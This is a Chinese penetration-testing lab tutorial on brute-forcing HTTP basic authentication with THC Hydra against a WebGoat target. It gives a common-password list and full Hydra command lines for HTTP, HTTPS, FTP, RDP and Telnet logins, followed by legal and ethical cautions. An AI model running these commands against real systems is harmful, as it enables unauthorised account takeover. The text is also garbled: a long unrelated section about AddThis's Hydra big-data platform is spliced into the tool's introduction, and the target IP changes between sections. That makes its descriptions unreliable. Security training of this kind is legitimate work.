使用Hydra对基本身份验证进行攻击
1.Hydra简介
THC Hydra简介 THC,The Hacker’s
Choice的缩写。网址:https://www.thc.org/,但是点不开网站中的Hydra超级链接,要么是国内禁止访问,要么是国外禁止访问。
类似的网站:
本次课介绍的THC Hydra与下面这个网站(https://hydra.cc/)无关
THC Hydra(简称Hydra)是一个可以进行在线登录验证的工具;这意味着它可以通过暴力的方式来尝试登录密码。
Hydra支持众多服务,其中包括HTTP登录表单和HTTP基本身份验证。
hydra 英[ˈhaɪdrə]n.水螅; 难于根除的祸患; 九头蛇
Hydra是一个大数据存储和处理平台,由Matt Abrams和他的AddThis同事们共同开发完成。AddThis也就是过去的Clearspring,是开发Web服务器窗口小部件的公司,使访问者可以通过Twitter、Facebook、Pintrest、Google +或者Instagram轻松共享他们的数据。
当AddThis开始逐渐扩大其业务时,它对越来越多的用户数据渐渐感到无能为力。该公司需要一个可扩展的分布式系统,对其用户共享的这些数据进行实时分析。那时Hadoop无法满足AddThis的需求,所以它开发了Hydra。
那么,Hydra到底是什么?简而言之,它是分布式的任务处理系统,可以同时支持流处理和批处理。它利用一种基于树的数据结构来存储和处理具有数千个节点集群的数据。它具有一个基于Linux的文件系统,这使得它可以与ext3、ext4甚至ZFS兼容;它还具有作业/集群管理组件,可以自动为集群分配新的作业和平衡已有的作业;系统还可以自动将数据备份,并自动处理节点故障。
Hydra包括很多的组件:跨异构集群处理任务的分布式作业执行系统、可网络访问的文件服务系统,还有本地备份及远程备份(考虑到难以预防的节点故障)。
基于树形结构使它可以在同一时间处理流数据并进行批处理作业。AddThis工程部门的一位成员Chris Burroughs在他1月23日的博客中首次宣布Hydra开源,还提供了对于Hydra精辟的描述:“它摄取流数据(比如日志文件),并生成聚合树、 摘要树或者数据转换树,这些树可用来探索(小型查询),作为机器学习的一部分(大型查询)、或者在网站上支持实时控制台(大量的查询)。”
Hydra最初是用以帮助AddThis解决自身问题,供内部使用,以及为网站运营商提供服务。典型的问题包括:“上个月有多少用户访问网站?”以及“网站从不同国家和浏览器获得访问量分别有多大?”
AddThis继续使用Hydra来处理其大规模的数据流量,分析其客户得到网站的发展趋势。AddThis可以了解人们在线分享了什么,哪些话题比较热门。社交标签服务被超过1300万的网站使用,一个月有13亿用户访问,平均每天30亿访问量产生10TB数据,Hydra在AddThis的上千个网络节点上运行着。
Abrams通过邮件告诉Datanami:“我们处理大型数据集已经很长时间了,Hydra一直以来对我们都非常有用,我们觉得它以独特的方式解决了分布式数据处理的问题。”
传统的Hadoop面向批处理,而Hydra可以同时支持批处理和实时流处理。Abrams说:“Hydra支持的批处理主要侧重流分析和增量数据处理,能够使用树形数据结构描述数据,对自然数据进行压缩及高效查询和访问。Hydra可以从HDFS中生产和接收数据,但它在本机文件系统上完成操作,这使其可以在Hydra上灵活地使用其他服务。”
Hydra已经开源,Abrams希望该软件会被更加广泛的使用,并得到更好的发展。“这将需要一些时间,但我们相信未来我们将建成一个完善的Hydra开源社区,这样AddThis和OS(开源)社区都可以从Hydra未来的发展中受益。在华盛顿特区已经有一些其他公司在使用Hydra了,我们很期待Hydra社区得到进一步的发展。”
2013秋天,Doug Cutting,Hadoop的创始人也是Cloudera的首席架构师感叹Hadoop缺乏替代品——那时Cutting说:“我多么期待能有更多像Hadoop一样的系统出现……”虽然如今Hadoop在大数据界占据了主导地位,但谁又能说它会是唯一的一个大数据分布式计算平台?相信未来Hydra的发展不会令他失望,对于未来Hydra的发展,我想引用Cutting的另一句话:“天空才是极限。”
目前该工具支持以下协议的爆破:
AFP,Cisco,AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM-
GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle
Listener,Oracle SID,Oracle,PC-Anywhere,
PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP /
R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNC和XMPP。对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等。
由于Kali中自带Hydra,所以怎么安装就不讲了,下面直接讲如何用它。
2.Base64编码
2.1Base64编码:
在HTTP basic身份验证中,浏览器在身份验证头中使用base64编码发送用户名和数据包。例如,如果用户名是admin,密码是password,浏览器将对admin:password进行编码,得到字符串YWRtaW46UGFzc3dvcmQ=,请求头将有这么一行:
Authorization:Basic YWRtaW46UGFzc3dvcmQ=**
提示:
几乎每次看到一个看似随机的并且以一两个等号(=)结尾的字符串的时候,该字符都是base64编码的。
可以使用Burp Suite的解码器或Kali linux中的base64命令轻松解码它,=符号可以进行url编码,即在某些请求和响应中被%3D替换。
3.攻击前准备
3.1. 用户名字典
现在需要一个用户名列表。假设已经进行了信息收集获得了几个有效地用户名。创建一个文本文件user_list.txt,在里面输入以下内容:
3.2 密码字典
创建文本文档,文档名称top25_passwords,文本内容如下:
123456
Password
12345678
qwerty
12345
123456789
letmein
1234567
football
iloveyou
admin
welcome
monkey
login
abc123
starwars
123123
dragon
passw0rd
master
hello
freedom
whatever
qazwsx
trustno1
4.开始Hydra攻击HTTP基本身份验证
4.1. 在Kali linux中打开Hydra
4.1.1 图形界面打开
4.2 输入命令hydra打开(推荐)
上图中,不输入任何参数时将显示基本帮助信息。
4.3 帮助信息介绍
l LOGIN or -L FILE login with LOGIN name, or load several logins from
FILE 通过-L选项,可以使用用户名字典文件。
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-P允许使用密码字典。还需要在后面跟上://服务器,以及端口号和服务选项。
5. 靶场
这里的靶场IP是192.168.22.130,实验时要看清楚自己靶场的IP。
6.写入命令发动攻击靶机
hydra -L user_list.txt -P top25_passwords.txt -u -e ns http-get://192.168.22.130/WebGoat/
6.1Hydra找到17个不同的用户名/密码组合,成功登陆到服务器。
命令中相关参数含义:
-L userlist.txt,告诉Hydra从userlist.txt寻找username。
-P top25_password.txt,告诉Hydra从top25_password.txt中获得预期密码。
-u,Hydra将首先迭代用户名,而不是密码。这意味着Hydra将首先使用单个密码尝试所有的用户名,然后继续使用下一个密码。这将有助于防止账户锁定。
-e ns,Hydra尝试将一个空密码(n)和用户名作为密码添加到密码列表
http-get 表示Hydra将使用GET方式对HTTP基本身份验证发起请求。
之后是://和目标服务器(192.168.56.11) 在下一个/之后,放置服务器的应用名,在本例中是请求身份验证的URL。没有指定端口,Hydra将尝试默认端口TCP80。
7.字典存放路径
8.hydra使用语法:
语法:Hydra 参数 IP 服务
参数:
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数,默认是16
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x 自定义密码
9.各种协议破解汇总
FTP协议破解:
破解ftp: hydra -L 用户名字典 -P 密码字典 -t 6 -e ns IP地址 -v
http协议破解:
get方式提交,破解web登录:
hydra -L 用户名字典 -P 密码字典 -t 线程 -v -e ns IP地址 http-get /admin/
hydra -L 用户名字典 -P 密码字典 -t 线程 -v -e ns -f IP地址 http-get /admin/index.php"
post方式提交,破解web登录:
hydra -f -l 用户名 -P 密码字典 -V -s 9900 IP地址 http-post-form “/admin/index.php?action=login:user=USER&pw=PASS:”
https协议破解:
破解https:
hydra -m /index.php -l 用户名 -P 密码字典.txt IP地址 https
Windows远程桌面:
破解rdp(windows远程登录):
hydra ip地址 rdp -l administrator -P 密码字典.txt -V
telnet破解:
hydra ip地址 telnet -l 用户字典.txt -P 密码字典.txt -t 32 -s 23 -e ns -f -V
10.总结
与其他身份验证方法(例如基于表单的身份验证方法)不同,基本身份验证在发送到服务器的内容、如何发送以及期望从服务器得到的响应方面是标准的。这允许攻击者和渗透测试人员节省宝贵的分析时间,这些工作涉及的参数包含用户名和密码、如何处理,发送这些参数以及如何区分成功响应和不成功响应。这是基本身份验证不被认为是安全机制的许多原因之一。
不建议在生产服务器上使用大量密码执行暴力破解,因为可能会中断服务、阻塞正常用户或触发保护机制。
11.使用Hydra的注意事项
在使用Hydra进行网络安全培训时,必须遵守一些重要的注意事项:
遵守法律和道德规范 :
不要在未经授权的情况下,对任何未经授权的目标进行攻击测试。您必须遵守适用的法律和道德规范,以确保您的行为合法合规。
小心数据泄露 :
在进行安全测试时,请确保不要存储、传输或泄露敏感数据。请注意在进行测试时,正确处理数据,以防止数据泄露和个人信息被暴露。
仅用于合法用途:
Hydra是一个强大的渗透测试工具,但请务必仅将其用于合法用途,比如网络安全培训和对已经获得授权的系统进行测试。不要滥用Hydra或将其用于非法目的。
充分测试之后修复漏洞:
在使用Hydra进行渗透测试后,如果您发现了系统中的漏洞或安全弱点,务必及时修复这些问题。安全测试的目的是为了发现问题并加以解决,从而提高系统的安全性。
网络安全是当前最重要的话题之一,Hydra是一个强大的网络安全培训工具,通过渗透测试和暴力破解攻击等方法,帮助用户提高系统的安全性。然而,在使用Hydra之前,我们必须遵循合法、合规和道德的原则,确保在合法的授权范围内使用该工具。只有这样,我们才能更好地保护我们的个人信息和重要数据。